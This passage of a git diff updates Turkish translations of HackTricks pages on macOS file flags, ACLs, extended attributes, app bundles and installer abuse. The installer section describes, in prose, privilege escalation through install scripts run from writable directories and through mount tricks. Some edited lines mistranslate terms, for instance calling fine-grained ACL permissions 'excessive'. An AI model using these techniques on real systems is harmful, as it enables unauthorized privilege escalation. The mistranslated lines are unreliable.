bazı bayraklar vardır ve dosyanın farklı davranmasını sağlar. Bir dizindeki dosyaların bayraklarını `ls -lO /path/directory` ile kontrol edebilirsiniz. -* **`uchg`**: **uchange** bayrağı olarak bilinen bu bayrak, **dosyanın değiştirilmesini veya silinmesini önler**. Ayarlamak için: `chflags uchg file.txt` +* **`uchg`**: **uchange** bayrağı olarak bilinen bu bayrak, **dosyayı değiştiren veya silen herhangi bir eylemi engeller**. Ayarlamak için: `chflags uchg file.txt` * Kök kullanıcı bayrağı **kaldırabilir** ve dosyayı değiştirebilir -* **`restricted`**: Bu bayrak dosyanın **SIP ile korunmasını sağlar** (bu bayrağı bir dosyaya ekleyemezsiniz). -* **`Sticky bit`**: Bir dizinin yapışkan biti varsa, **yalnızca** dizinin **sahibi veya kök** dosyaları **yeniden adlandırabilir veya silebilir**. Genellikle bu, /tmp dizininde ayarlanır ve sıradan kullanıcıların diğer kullanıcı dosyalarını silmesini veya taşımasını engeller. +* **`restricted`**: Bu bayrak dosyanın **SIP tarafından korunmasını sağlar** (bu bayrağı bir dosyaya ekleyemezsiniz). +* **`Sticky bit`**: Bir dizinin yapışkan biti varsa, **yalnızca** dizinin **sahibi veya kök** dosyaları **yeniden adlandırabilir veya silebilir**. Genellikle bu, /tmp dizininde ayarlanır ve sıradan kullanıcıların diğer kullanıcıların dosyalarını silmesini veya taşımasını engeller. Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep stat.h` kullanarak bulun) ve şunlardır: @@ -156,30 +155,30 @@ Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep * `UF_NODUMP` 0x00000001: Dosyayı dökme. * `UF_IMMUTABLE` 0x00000002: Dosya değiştirilemez. * `UF_APPEND` 0x00000004: Dosyalara yalnızca ekleme yapılabilir. -* `UF_OPAQUE` 0x00000008: Birleşimle ilgili dizin opaktır. +* `UF_OPAQUE` 0x00000008: Birleşim açısından dizin opaktır. * `UF_COMPRESSED` 0x00000020: Dosya sıkıştırılmıştır (bazı dosya sistemleri). -* `UF_TRACKED` 0x00000040: Bu ayarlı dosyalar için silme/yeniden adlandırma için bildirim yok. +* `UF_TRACKED` 0x00000040: Bu ayarlı dosyalar için silme/yeniden adlandırma bildirimleri yok. * `UF_DATAVAULT` 0x00000080: Okuma ve yazma için yetki gereklidir. * `UF_HIDDEN` 0x00008000: Bu öğenin bir GUI'de gösterilmemesi gerektiğine dair ipucu. * `SF_SUPPORTED` 0x009f0000: Süper kullanıcı tarafından desteklenen bayraklar maskesi. * `SF_SETTABLE` 0x3fff0000: Süper kullanıcı tarafından değiştirilebilen bayraklar maskesi. -* `SF_SYNTHETIC` 0xc0000000: Sistem tarafından salt okunur sentetik bayraklar maskesi. +* `SF_SYNTHETIC` 0xc0000000: Sistem salt okunur sentetik bayraklar maskesi. * `SF_ARCHIVED` 0x00010000: Dosya arşivlenmiştir. * `SF_IMMUTABLE` 0x00020000: Dosya değiştirilemez. * `SF_APPEND` 0x00040000: Dosyalara yalnızca ekleme yapılabilir. * `SF_RESTRICTED` 0x00080000: Yazma için yetki gereklidir. -* `SF_NOUNLINK` 0x00100000: Öğe kaldırılamaz, yeniden adlandırılamaz veya üzerine bağlanamaz. +* `SF_NOUNLINK` 0x00100000: Öğe kaldırılamaz, yeniden adlandırılamaz veya üzerine monte edilemez. * `SF_FIRMLINK` 0x00800000: Dosya bir firmlink'tir. * `SF_DATALESS` 0x40000000: Dosya verisiz nesnedir. ### **Dosya ACL'leri** -Dosya **ACL'leri**, farklı kullanıcılara daha **ince ayarlı izinler** atayabileceğiniz **ACE** (Erişim Kontrol Girişleri) içerir. +Dosya **ACL'leri**, farklı kullanıcılara daha **aşırı izinler** atayabileceğiniz **ACE** (Erişim Kontrol Girişleri) içerir. -Bir **dizine** bu izinleri vermek mümkündür: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\ +Bir **dizine** bu izinleri verebilirsiniz: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\ Ve bir **dosyaya**: `read`, `write`, `append`, `execute`. -Dosya ACL'leri içerdiğinde izinleri listelerken **"+" işaretini bulacaksınız** gibi: +Dosya ACL'leri içerdiğinde, izinleri listelerken **izinlerin yanında "+" işaretini bulacaksınız** gibi: ```bash ls -ld Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies @@ -190,13 +189,13 @@ ls -lde Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies 0: group:everyone deny delete ``` -Tüm dosyaları **ACL'lerle** bulabilirsiniz (bu çok yavaştır): +Tüm dosyaları **ACL'leriyle birlikte** bulabilirsiniz (bu çok yavaştır): ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` ### Genişletilmiş Öznitelikler -Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve bunlar `ls -@` kullanılarak görüntülenebilir ve `xattr` komutu kullanılarak manipüle edilebilir. Bazı yaygın genişletilmiş öznitelikler şunlardır: +Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve `ls -@` kullanılarak görüntülenebilir ve `xattr` komutu kullanılarak manipüle edilebilir. Bazı yaygın genişletilmiş öznitelikler şunlardır: - `com.apple.resourceFork`: Kaynak çatalı uyumluluğu. Ayrıca `filename/..namedfork/rsrc` olarak da görülebilir. - `com.apple.quarantine`: MacOS: Gatekeeper karantina mekanizması (III/6) @@ -204,9 +203,9 @@ Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve bunla - `com.apple.lastuseddate` (#PS): Son dosya kullanım tarihi - `com.apple.FinderInfo`: MacOS: Finder bilgileri (örneğin, renk Etiketleri) - `com.apple.TextEncoding`: ASCII metin dosyalarının metin kodlamasını belirtir -- `com.apple.logd.metadata`: `/var/db/diagnostics` içindeki dosyalarda logd tarafından kullanılır +- `com.apple.logd.metadata`: `/var/db/diagnostics` dizinindeki dosyalarda logd tarafından kullanılır - `com.apple.genstore.*`: Nesil depolama (`/.DocumentRevisions-V100` dosya sisteminin kökünde) -- `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlük Koruması tarafından kullanılır (III/10) +- `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlüğü Koruma tarafından kullanılır (III/10) - `com.apple.uuidb.boot-uuid`: Benzersiz UUID ile önyükleme dönemlerinin logd işaretlemeleri - `com.apple.decmpfs`: MacOS: Şeffaf dosya sıkıştırması (II/7) - `com.apple.cprotect`: \*OS: Dosya başına şifreleme verileri (III/11) @@ -214,7 +213,7 @@ Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve bunla ### Kaynak Çatallar | macOS ADS -Bu, MacOS makinelerinde **Alternatif Veri Akışları elde etmenin bir yoludur**. Bir dosyanın içine içerik kaydedebilirsiniz, bunu **com.apple.ResourceFork** adlı genişletilmiş bir öznitelik içine kaydederek **file/..namedfork/rsrc** içinde. +Bu, **MacOS makinelerinde Alternatif Veri Akışları (ADS)** elde etmenin bir yoludur. Bir dosyanın içine içerik kaydedebilirsiniz, bunu **com.apple.ResourceFork** adlı genişletilmiş bir öznitelik içine kaydederek dosyanın içinde **file/..namedfork/rsrc** olarak kaydedebilirsiniz. ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -225,19 +224,17 @@ com.apple.ResourceFork: Hello Mac ADS ls -l a.txt #The file length is still q -rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt ``` -Aşağıdaki komutla bu genişletilmiş niteliği içeren tüm dosyaları bulabilirsiniz: +Aşağıdaki komutla bu genişletilmiş özniteliği içeren tüm dosyaları bulabilirsiniz: {% code overflow="wrap" %} ```bash find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" ``` -{% endcode %} - ### decmpfs -Genişletilmiş öznitelik `com.apple.decmpfs`, dosyanın şifreli olarak depolandığını belirtir, `ls -l` **0 boyutunu** rapor edecektir ve sıkıştırılmış veri bu özniteliğin içindedir. Dosyaya erişildiğinde bellekte şifrelenir. +Genişletilmiş öznitelik `com.apple.decmpfs`, dosyanın şifreli olarak depolandığını gösterir, `ls -l` **0 boyutunu** rapor edecektir ve sıkıştırılmış veri bu özniteliğin içindedir. Dosyaya erişildiğinde bellekte şifre çözülecektir. -Bu öznitelik `ls -lO` ile görülebilir, sıkıştırılmış dosyalar da `UF_COMPRESSED` bayrağıyla etiketlenir. Sıkıştırılmış bir dosya kaldırıldığında bu bayrakla `chflags nocompressed ` ile, sistem dosyanın sıkıştırıldığını bilmeyecek ve dolayısıyla verilere erişemeyecek (aslında boş olduğunu düşünecektir). +Bu öznitelik `ls -lO` ile görülebilir, sıkıştırılmış dosyalar da `UF_COMPRESSED` bayrağıyla etiketlenir. Sıkıştırılmış bir dosya kaldırıldığında bu bayrakla `chflags nocompressed ` komutuyla, sistem dosyanın sıkıştırıldığını bilmeyecek ve dolayısıyla verilere erişemeyecektir (aslında boş olduğunu düşünecektir). Araç afscexpand, bir dosyayı zorla açmak için kullanılabilir. @@ -259,12 +256,12 @@ Mac OS ikilileri genellikle **evrensel ikili** olarak derlenir. **Evrensel ikili ## Risk Kategorisi Dosyaları Mac OS -`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkilendirilen risk hakkında bilgilerin depolandığı** yerdir. Bu dizin dosyaları çeşitli risk seviyelerine ayırır ve Safari'nin bu dosyaları indirme sonrasında nasıl işleyeceğini etkiler. Kategoriler şunlardır: +`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, farklı dosya uzantılarıyla ilişkilendirilen **riskle ilgili bilgilerin depolandığı** yerdir. Bu dizin dosyaları çeşitli risk seviyelerine ayırır ve Safari'nin bu dosyaları indirme sonrasında nasıl işleyeceğini etkiler. Kategoriler şunlardır: * **LSRiskCategorySafe**: Bu kategorideki dosyalar **tamamen güvenli** olarak kabul edilir. Safari, bu dosyaları otomatik olarak indirdikten sonra açacaktır. * **LSRiskCategoryNeutral**: Bu dosyalar herhangi bir uyarı ile gelmez ve Safari tarafından **otomatik olarak açılmaz**. * **LSRiskCategoryUnsafeExecutable**: Bu kategoriye giren dosyalar, dosyanın bir uygulama olduğunu belirten bir uyarı **tetikler**. Bu, kullanıcıyı uyarmak için bir güvenlik önlemi olarak hizmet verir. -* **LSRiskCategoryMayContainUnsafeExecutable**: Bu kategori, uygulama içerebilecek arşivler gibi dosyalar için kullanılır. Safari, tüm içeriğin güvenli veya tarafsız olduğunu doğrulayamadığı sürece **bir uyarı tetikler**. +* **LSRiskCategoryMayContainUnsafeExecutable**: Bu kategori, uygulama içerebilecek arşivler gibi dosyalar içindir. Safari, tüm içeriğin güvenli veya tarafsız olduğunu doğrulayamadığı sürece **bir uyarı tetikler**. ## Günlük dosyaları @@ -272,7 +269,22 @@ Mac OS ikilileri genellikle **evrensel ikili** olarak derlenir. **Evrensel ikili * **`/var/log/system.log`**: OSX sistemlerinin ana günlüğüdür. com.apple.syslogd.plist, sistem günlükleme işleminin yürütülmesinden sorumludur (devre dışı bırakılıp bırakılmadığını `launchctl list` içinde "com.apple.syslogd" arayarak kontrol edebilirsiniz). * **`/private/var/log/asl/*.asl`**: Bunlar, ilginç bilgiler içerebilecek Apple Sistem Günlükleridir. * **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" aracılığıyla son erişilen dosyaları ve uygulamaları saklar. -* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistem başlangıcında başlatılacak öğeleri saklar. +* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistemin başlangıcında başlatılacak öğeleri saklar. * **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility Uygulaması için günlük dosyası (USB'ler dahil sürücüler hakkında bilgi). * **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Kablosuz erişim noktaları hakkında veri. * **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Devre dışı bırakılan daemonların listesi. + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index 0abe45f6f..876a3e180 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -1,35 +1,36 @@ # macOS Paketleri +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin.
+{% endhint %} ## Temel Bilgiler -macOS'taki paketler, uygulamaları, kütüphaneleri ve diğer gerekli dosyaları içeren bir dizi kaynağı barındıran konteynerler olarak hizmet eder, bu da onları Finder'da tek bir nesne olarak görünmesini sağlar, örneğin tanıdık `*.app` dosyaları. En sık karşılaşılan paket `.app` paketidir, ancak `.framework`, `.systemextension` ve `.kext` gibi diğer türler de yaygındır. +macOS'taki paketler, uygulamaları, kütüphaneleri ve diğer gerekli dosyaları içeren çeşitli kaynakların bir konteyneri olarak hizmet eder ve Finder'da tek bir nesne olarak görünmelerini sağlar, örneğin tanıdık `*.app` dosyaları. En sık karşılaşılan paket genellikle `.app` paketidir, ancak `.framework`, `.systemextension` ve `.kext` gibi diğer türler de yaygındır. ### Bir Paketin Temel Bileşenleri Bir paket içinde, özellikle `.app/Contents/` dizini içinde, çeşitli önemli kaynaklar bulunmaktadır: * **\_CodeSignature**: Bu dizin, uygulamanın bütünlüğünü doğrulamak için hayati öneme sahip olan kod imzalama ayrıntılarını depolar. Kod imzalama bilgilerini şu komutlarla inceleyebilirsiniz: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%% -* **MacOS**: Kullanıcı etkileşimiyle çalışan uygulamanın yürütülebilir ikili dosyasını içerir. -* **Resources**: Uygulamanın kullanıcı arayüzü bileşenlerini içeren bir depo, resimler, belgeler ve arayüz açıklamaları (nib/xib dosyaları) gibi. +* **MacOS**: Kullanıcı etkileşimi sırasında çalışan uygulamanın yürütülebilir binary'sini içerir. +* **Resources**: Uygulamanın kullanıcı arayüzü bileşenlerini, resimleri, belgeleri ve arayüz açıklamalarını (nib/xib dosyalarını) içeren bir depo. * **Info.plist**: Uygulamanın ana yapılandırma dosyası olarak hareket eder, uygulamanın uygun şekilde tanınmasını ve etkileşimde bulunmasını sağlamak için önemlidir. #### Info.plist'teki Önemli Anahtarlar -`Info.plist` dosyası, uygulama yapılandırması için bir köşe taşıdır ve şu gibi anahtarlar içerir: +`Info.plist` dosyası, uygulama yapılandırması için bir köşetaşı olup şu anahtarları içerir: * **CFBundleExecutable**: `Contents/MacOS` dizininde bulunan ana yürütülebilir dosyanın adını belirtir. * **CFBundleIdentifier**: Uygulama için genel bir tanımlayıcı sağlar, macOS tarafından uygulama yönetimi için yoğun bir şekilde kullanılır. @@ -39,7 +40,7 @@ Bir paket içinde, özellikle `.app/Contents/` dizini içinde, çeşit `Safari.app` gibi bir paketin içeriğini keşfetmek için şu komut kullanılabilir: `bash ls -lR /Applications/Safari.app/Contents` -Bu keşif, `_CodeSignature`, `MacOS`, `Resources` gibi dizinleri ve `Info.plist` gibi dosyaları ortaya çıkarır, her biri uygulamayı güvence altına almak ve kullanıcı arayüzünü ve işletme parametrelerini tanımlamak için benzersiz bir amaçtan hizmet eder. +Bu keşif, `_CodeSignature`, `MacOS`, `Resources` gibi dizinleri ve `Info.plist` gibi dosyaları ortaya çıkarır; her biri uygulamayı güvence altına almak ve kullanıcı arayüzünü ve işletme parametrelerini tanımlamak için benzersiz bir amaçla hizmet verir. #### Ek Paket Dizinleri @@ -47,22 +48,23 @@ Ortak dizinlerin ötesinde, paketler ayrıca şunları içerebilir: * **Frameworks**: Uygulama tarafından kullanılan paketlenmiş çerçeveleri içerir. Çerçeveler, ek kaynaklara sahip dylib'ler gibidir. * **PlugIns**: Uygulamanın yeteneklerini artıran eklentiler ve uzantılar için bir dizin. -* **XPCServices**: Uygulamanın dış işlem iletişimi için kullandığı XPC hizmetlerini barındırır. +* **XPCServices**: Uygulama tarafından dış işlem iletişimi için kullanılan XPC hizmetlerini barındırır. Bu yapı, tüm gerekli bileşenlerin paket içinde kapsanmasını sağlayarak modüler ve güvenli bir uygulama ortamını kolaylaştırır. -`Info.plist` anahtarları ve anlamları hakkında daha detaylı bilgi için Apple geliştirici belgeleri kapsamlı kaynaklar sunar: [Apple Info.plist Anahtar Referansı](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html). +`Info.plist` anahtarları ve anlamları hakkında daha detaylı bilgi için Apple geliştirici belgeleri kapsamlı kaynaklar sunmaktadır: [Apple Info.plist Anahtar Referansı](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html). + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 51ab232ff..780c6188b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -1,24 +1,25 @@ # macOS Yükleyicilerin Kötüye Kullanımı +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Pkg Temel Bilgileri -Bir macOS **yükleme paketi** (ayrıca `.pkg` dosyası olarak da bilinir), macOS tarafından **yazılım dağıtmak** için kullanılan bir dosya biçimidir. Bu dosyalar, bir yazılım parçasının **kurulması ve doğru şekilde çalıştırılması için gereken her şeyi içeren bir kutu gibidir**. +Bir macOS **yükleme paketi** (ayrıca `.pkg` dosyası olarak da bilinir), macOS tarafından **yazılım dağıtmak** için kullanılan bir dosya biçimidir. Bu dosyalar, bir yazılım parçasının **kurulması ve doğru şekilde çalıştırılması için gereken her şeyi içeren bir kutu gibi**. -Paket dosyası kendisi, hedef bilgisayara kurulacak olan bir **dosya ve dizin hiyerarşisini içeren bir arşivdir**. Ayrıca, yazılımın eski sürümlerini temizleme veya yapılandırma dosyalarını ayarlama gibi görevleri gerçekleştirmek için **kurulumdan önce ve sonra görevleri gerçekleştirmek için betikler** içerebilir. +Paket dosyası kendisi, hedef bilgisayara kurulacak olan bir **dosya ve dizin hiyerarşisini** içeren bir arşivdir. Ayrıca, yazılımın eski sürümlerini temizleme veya yapılandırma dosyalarını ayarlama gibi görevleri gerçekleştirmek için **kurulumdan önce ve sonra görevleri gerçekleştiren betikleri** de içerebilir. ### Hiyerarşi @@ -26,9 +27,11 @@ Paket dosyası kendisi, hedef bilgisayara kurulacak olan bir **dosya ve dizin hi * **Dağıtım (xml)**: Özelleştirmeler (başlık, karşılama metni...) ve betik/kurulum kontrolleri * **PackageInfo (xml)**: Bilgi, kurulum gereksinimleri, kurulum konumu, çalıştırılacak betiklerin yolları -* **Malzeme faturası (bom)**: Kurulacak, güncellenecek veya kaldırılacak dosyaların listesi ve dosya izinleri +* **Malzeme listesi (bom)**: Dosyaların listesi, dosya izinleriyle birlikte kurulacak, güncellenecek veya kaldırılacak * **Yük (CPIO arşivi gzip sıkıştırılmış)**: PackageInfo'dan `kurulum konumu`'na kurulacak dosyalar -* **Betikler (CPIO arşivi gzip sıkıştırılmış)**: Kurulumdan önce ve sonra betikler ve daha fazlası için geçici bir dizine çıkarılan kaynaklar. +* **Betikler (CPIO arşivi gzip sıkıştırılmış)**: Kurulum öncesi ve sonrası betikler ve daha fazlası, yürütme için geçici bir dizine çıkarılan kaynaklar. + +### Sıkıştırma ```bash # Tool to directly get the files inside a package pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir" @@ -44,10 +47,10 @@ cpio -i < Scripts ``` ## DMG Temel Bilgileri -DMG dosyaları veya Apple Disk Görüntüleri, Apple'ın macOS işletim sistemi tarafından disk görüntüleri için kullanılan bir dosya biçimidir. Bir DMG dosyası temelde **yerel olarak bağlanabilir bir disk görüntüsüdür** (kendi dosya sistemini içerir) ve genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verilerini içerir. Bir DMG dosyasını açtığınızda, macOS bunu **fiziksel bir disk gibi bağlar** ve içeriğine erişmenizi sağlar. +DMG dosyaları veya Apple Disk Görüntüleri, Apple'ın macOS işletim sistemi tarafından disk görüntüleri için kullanılan bir dosya biçimidir. Bir DMG dosyası temelde kendi dosya sistemini içeren (genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verilerini içeren) **yerel olarak bağlanabilir bir disk görüntüsüdür**. Bir DMG dosyasını açtığınızda, macOS onu fiziksel bir disk gibi **bağlar** ve içeriğine erişmenizi sağlar. {% hint style="danger" %} -**`.dmg`** yükleyicilerinin **çok sayıda biçimi desteklediğini** unutmayın; geçmişte bazıları, **çekirdek kodu yürütmek** için kötüye kullanılan güvenlik açıkları içeriyordu. +**`.dmg`** yükleyicilerinin **çok sayıda biçimi desteklediğini** unutmayın; geçmişte bazıları, **çekirdek kodu yürütmek** için **kötüye kullanılan güvenlik açıkları** içeriyordu. {% endhint %} ### Hiyerarşi @@ -60,9 +63,9 @@ Bir DMG dosyasının hiyerarşisi içeriğe bağlı olarak farklılık göstereb - Uygulama (.app): Bu, asıl uygulamadır. macOS'ta bir uygulama genellikle uygulamayı oluşturan birçok bireysel dosya ve klasör içeren bir pakettir. - Uygulamalar Bağlantısı: Bu, macOS'taki Uygulamalar klasörüne bir kısayoldur. Amacı, uygulamayı yüklemeyi size kolaylaştırmaktır. Uygulamayı yüklemek için .app dosyasını bu kısayola sürükleyebilirsiniz. -## pkg Kötüye Kullanımı Aracılığıyla İzin Yükseltme +## Pkg Kötüye Kullanımı ile İzin Yükseltme -### Genel Dizinlerden Yürütme +### Genel dizinlerden yürütme Örneğin bir ön veya son yükleme betiği **`/var/tmp/Installerutil`** dizininden yürütülüyorsa ve saldırgan bu betiği kontrol edebiliyorsa, ayrıcalıkları yükseltebilir. Ya da başka bir benzer örnek: @@ -80,13 +83,13 @@ Bu, birçok yükleyici ve güncelleme aracının **kök olarak bir şey yürütm Eğer bir kurulum programı `/tmp/fixedname/bla/bla`'ya yazıyorsa, `/tmp/fixedname` üzerine sahibi olmayan bir **mount oluşturmak** mümkün olabilir, böylece kurulum sırasında **herhangi bir dosyayı değiştirebilir** ve kurulum sürecini kötüye kullanabilirsiniz. -Buna bir örnek **CVE-2021-26089**'dur, bu örnek **kök olarak yürütme elde etmek için bir periyodik betiği üzerine yazmayı** başardı. Daha fazla bilgi için şu konuşmaya göz atın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) +Buna bir örnek **CVE-2021-26089**'dur, bu örnek **bir periyodik betiği üzerine yazarak** kök olarak yürütme elde etmeyi başardı. Daha fazla bilgi için şu konuşmaya bakın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) ## Zararlı Olarak pkg ### Boş Yük -Sadece bir **`.pkg`** dosyası oluşturmak mümkündür ve içinde herhangi bir yük olmadan **ön ve son kurulum betikleri** içerebilir. +Sadece bir **`.pkg`** dosyası oluşturmak mümkündür ve içinde herhangi bir yük olmadan **öncesi ve sonrası yükleme betikleri** içerebilir. ### Dağıtım xml'de JS @@ -96,6 +99,6 @@ Paketin 